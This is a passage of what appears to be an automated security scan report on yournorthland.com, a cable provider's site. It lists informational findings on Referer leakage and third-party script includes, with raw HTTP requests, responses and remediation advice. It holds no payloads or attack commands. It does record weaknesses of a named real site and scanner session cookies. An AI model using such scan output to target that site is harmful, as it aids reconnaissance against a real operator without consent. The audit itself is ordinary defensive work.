POST /scripts/formmail.asp?formSubject=Order%20Now%20Form HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Origin: http://yournorthland.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.9.10.1303935242
Content-Length: 468

_recipients=no-reply-99%40yournorthland.com&_requiredFields=Name%2CEmail%2CAddress%2CCity%2CPhone+Number&url=%2F&system=&Name=&Account=&Address=&City=&Phone+Number=&Source=99&Cable=none&premium=&Inter
...[SNIP]...

Response 2

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 1318
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:43 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http
...[SNIP]...
<li class="error">No referer.</li>

<li class="error">Missing value for Name</li>

<li class="error">Missing value for Email</li>

<li class="error">Missing value for Address</li>

<li class="error">Missing value for City</li>

<li class="error">Missing value for Phone Number</li>

</ul>


</body>
</html>


3. Cross-domain Referer leakage  previous  next
There are 6 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


3.1. http://yournorthland.com/aboutUs/careers.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/careers.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /aboutUs/careers.asp?atype=&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.7.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 12492
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:32 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
<li><a class="mainLink" href="http://webmail.nctv.com" onClick="javascript: pageTracker._trackPageview('/outgoing/mail');">email login&nbsp;&nbsp;|&nbsp;&nbsp;</a>
...[SNIP]...
<li><a class="mainLink" href="http://www.nctv.com" onClick="javascript: pageTracker._trackPageview('/outgoing/nctv');">nctv.com&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;</a>
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>
...[SNIP]...

3.2. http://yournorthland.com/aboutUs/eeo.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/eeo.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /aboutUs/eeo.asp?atype=&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.6.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 11334
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:28 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
<li><a class="mainLink" href="http://webmail.nctv.com" onClick="javascript: pageTracker._trackPageview('/outgoing/mail');">email login&nbsp;&nbsp;|&nbsp;&nbsp;</a>
...[SNIP]...
<li><a class="mainLink" href="http://www.nctv.com" onClick="javascript: pageTracker._trackPageview('/outgoing/nctv');">nctv.com&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;</a>
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>
...[SNIP]...

3.3. http://yournorthland.com/aboutUs/whoWeAre.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/whoWeAre.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /aboutUs/whoWeAre.asp?atype=&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.8.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 12504
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:34 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
<li><a class="mainLink" href="http://webmail.nctv.com" onClick="javascript: pageTracker._trackPageview('/outgoing/mail');">email login&nbsp;&nbsp;|&nbsp;&nbsp;</a>
...[SNIP]...
<li><a class="mainLink" href="http://www.nctv.com" onClick="javascript: pageTracker._trackPageview('/outgoing/nctv');">nctv.com&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;</a>
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>
...[SNIP]...

3.4. http://yournorthland.com/custHelp/paymentoptions.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custHelp/paymentoptions.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /custHelp/paymentoptions.asp?atype=&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10314
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:21 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charse
...[SNIP]...
<li><a class="mainLink" href="http://webmail.nctv.com" onClick="javascript: pageTracker._trackPageview('/outgoing/mail');">email login&nbsp;&nbsp;|&nbsp;&nbsp;</a>
...[SNIP]...
<li><a class="mainLink" href="http://www.nctv.com" onClick="javascript: pageTracker._trackPageview('/outgoing/nctv');">nctv.com&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;</a>
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>
...[SNIP]...
<li><a href="https://cableanytime.net/NL-Seneca/">Clemson/Seneca, SC</a>
...[SNIP]...
<li><a href="https://cableanytime.net/NL-Seneca/">Highlands, NC</a>
...[SNIP]...
<li><a href="https://cableanytime.net/NL-Seneca/">Forest City, NC</a>
...[SNIP]...
<li><a href="https://cableanytime.net/Statesboro/">Statesboro, GA</a>
...[SNIP]...
<li><a href="https://cableanytime.net/NL-MosesLake/">Moses Lake, WA - Including Ephrata and Othello</a>
...[SNIP]...
<li><a href="https://cableanytime.net/NL-MosesLake/">Sandpoint, ID</a>
...[SNIP]...
<li><a href="https://cableanytime.net/NL-Greenwood/">Greenwood, SC - Including Edgefield and Saluda</a>
...[SNIP]...
<li><a href="https://cableanytime.net/NL-Corsicana/">Corsicana, TX - Including Hillsboro</a>
...[SNIP]...
<li><a href="https://cableanytime.net/NL-Corsicana/">Gun Barrel ,TX - Including Kaufman</a>
...[SNIP]...
<li><a href="https://cableanytime.net/NL-MarbleFalls/">Marble Falls, TX - Including Lake Buchanan and Llano</a>
...[SNIP]...
<li><a href="https://cableanytime.net/NL-MarbleFalls/">Lamesa, TX</a>
...[SNIP]...
<li><a href="https://cableanytime.net/NL-NewCaney/">New Caney, TX</a>
...[SNIP]...
<br /> <a href="http://www.walmart.com/cp/Bill-Payment/632045">Click here for more information.</a>
...[SNIP]...

3.5. http://yournorthland.com/custHelp/phoneHelp.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custHelp/phoneHelp.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /custHelp/phoneHelp.asp?atype=&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 24395
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:22 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html>
<head>
<meta http-equiv="content-type" content="text/html; ch
...[SNIP]...
<li><a class="mainLink" href="http://webmail.nctv.com" onClick="javascript: pageTracker._trackPageview('/outgoing/mail');">email login&nbsp;&nbsp;|&nbsp;&nbsp;</a>
...[SNIP]...
<li><a class="mainLink" href="http://www.nctv.com" onClick="javascript: pageTracker._trackPageview('/outgoing/nctv');">nctv.com&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;</a>
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>
...[SNIP]...
<div style="font-size:12px; padding:3px 2px 3px 2px;"><a class="submenuLink" href="http://myaccountcenter.net">myaccountcenter.net</a>
...[SNIP]...
<div style="font-size:12px; padding:3px 2px 3px 2px;"><a class="submenuLink" href="http://myphone.nctv.com">myphone.nctv.com</a>
...[SNIP]...
<div style="font-size:12px; padding:3px 2px 3px 2px;"><a class="submenuLink" href="http://digitalphone.nctv.com">digitalphone.nctv.com</a>
...[SNIP]...

3.6. http://yournorthland.com/custhelp/default.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custhelp/default.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /custhelp/default.asp??atype=&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 8417
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:19 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charse
...[SNIP]...
<li><a class="mainLink" href="http://webmail.nctv.com" onClick="javascript: pageTracker._trackPageview('/outgoing/mail');">email login&nbsp;&nbsp;|&nbsp;&nbsp;</a>
...[SNIP]...
<li><a class="mainLink" href="http://www.nctv.com" onClick="javascript: pageTracker._trackPageview('/outgoing/nctv');">nctv.com&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;</a>
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>
...[SNIP]...
<div><a class="submenuLink" href="http://myaccount.nctv.com">Email Configuration</a>
...[SNIP]...
<div><a class="submenuLink" href="http://www.broadbandsupport.net">Online Support Site</a>
...[SNIP]...
<div><a class="submenuLink" href="http://myaccountcenter.net">- myaccountcenter.net</a>
...[SNIP]...
<div><a class="submenuLink" href="http://myphone.nctv.com">- myphone.nctv.com</a>
...[SNIP]...
<div><a class="submenuLink" href="http://digitalphone.nctv.com">- digitalphone.nctv.com</a>
...[SNIP]...

4. Cross-domain script include  previous  next
There are 8 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


4.1. http://yournorthland.com/aboutUs/careers.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/careers.asp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /aboutUs/careers.asp?atype=&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.7.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 12492
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:32 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>
...[SNIP]...

4.2. http://yournorthland.com/aboutUs/eeo.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/eeo.asp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /aboutUs/eeo.asp?atype=&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.6.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 11334
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:28 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>
...[SNIP]...

4.3. http://yournorthland.com/aboutUs/whoWeAre.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /aboutUs/whoWeAre.asp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /aboutUs/whoWeAre.asp?atype=&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.8.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 12504
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:34 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">

...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>
...[SNIP]...

4.4. http://yournorthland.com/contact.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /contact.asp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /contact.asp HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.2.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 17100
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:13 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>
...[SNIP]...

4.5. http://yournorthland.com/custHelp/paymentoptions.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custHelp/paymentoptions.asp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /custHelp/paymentoptions.asp?atype=&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10314
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:21 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charse
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>
...[SNIP]...

4.6. http://yournorthland.com/custHelp/phoneHelp.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custHelp/phoneHelp.asp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /custHelp/phoneHelp.asp?atype=&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 24395
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:22 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html>
<head>
<meta http-equiv="content-type" content="text/html; ch
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>
...[SNIP]...

4.7. http://yournorthland.com/custhelp/default.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custhelp/default.asp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /custhelp/default.asp??atype=&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 8417
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:19 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charse
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>
...[SNIP]...

4.8. http://yournorthland.com/ordernow.asp  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /ordernow.asp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /ordernow.asp HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
